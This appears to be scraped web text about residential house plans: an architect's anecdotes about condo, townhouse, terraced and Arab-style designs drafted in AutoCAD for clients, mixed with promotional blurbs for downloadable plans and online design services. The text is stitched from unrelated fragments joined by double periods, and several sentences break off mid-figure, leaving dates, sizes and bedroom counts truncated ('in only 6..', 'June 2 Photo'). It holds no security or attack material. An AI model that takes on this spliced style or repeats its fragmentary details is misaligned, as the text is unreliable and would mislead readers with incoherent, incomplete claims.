One year later I decided to continue the project, by arranging the houses in a Condo- style with 8 .. My client had a narrow lot 8 Bedrooms facing front and sides but not to rear to avoid afternoon sun.. Autocad 3d House Plans DownloadableFind below our plan of the month of June, selected from the most popular of our house plans collection.. Modern 3D House with swimming pool and garden designed with our Architectural software IDEA Architecture.. With a fairly simple premise and PlannDesign is the revolutionary online free service which gives users the power to download and share, view, discover Architects and Interior Designer's creative work.. I provided a high- detailed, fully- dimensioned architecture drawings, elevation and cross section, and as he wanted, I "delivered" in PDF format 6 sheets for printing on A4 paper.. However my customer lot was facing north, but this did not turned into a problem in making a beautiful floor plan in Auto.. Designed in June 2 Photo of his home from May 2 He slightly deviated from my project, to make the facade more massive.. Credits to customer for the idea of Arab- style floor plan, very different compared with the styles that I was familiarized with (he provided me a scanned paper with a shitty sketch and I converted it into a beautiful by- law drawing).. Terrace Classic 2 Luxury multi family housing complex, 3- storey terraced houses with basement parking and neoclassic facade, which works also as semi- detached houses.. Customer said that will come back in a week and pay for complete project... but this never happened.. 010 I designed few hundred houses from personal interest or at customer request.. For publishing on website I redesigned his sketch into smaller houses to show you how is possible to build 3-bedroom townhouse with carport in only 6.. The actual project will have metal balcony rail instead of glass Auto CAD design in April 2.. A modern house with large balconies and roof terrace, he insisted the house to be rectangular (I initially disagreed with this, modern houses should have complex shapes).. Semi- Detached and Quadruplex- Terraced (can be seen in Housing Archive) At same time I designed European Apartments..
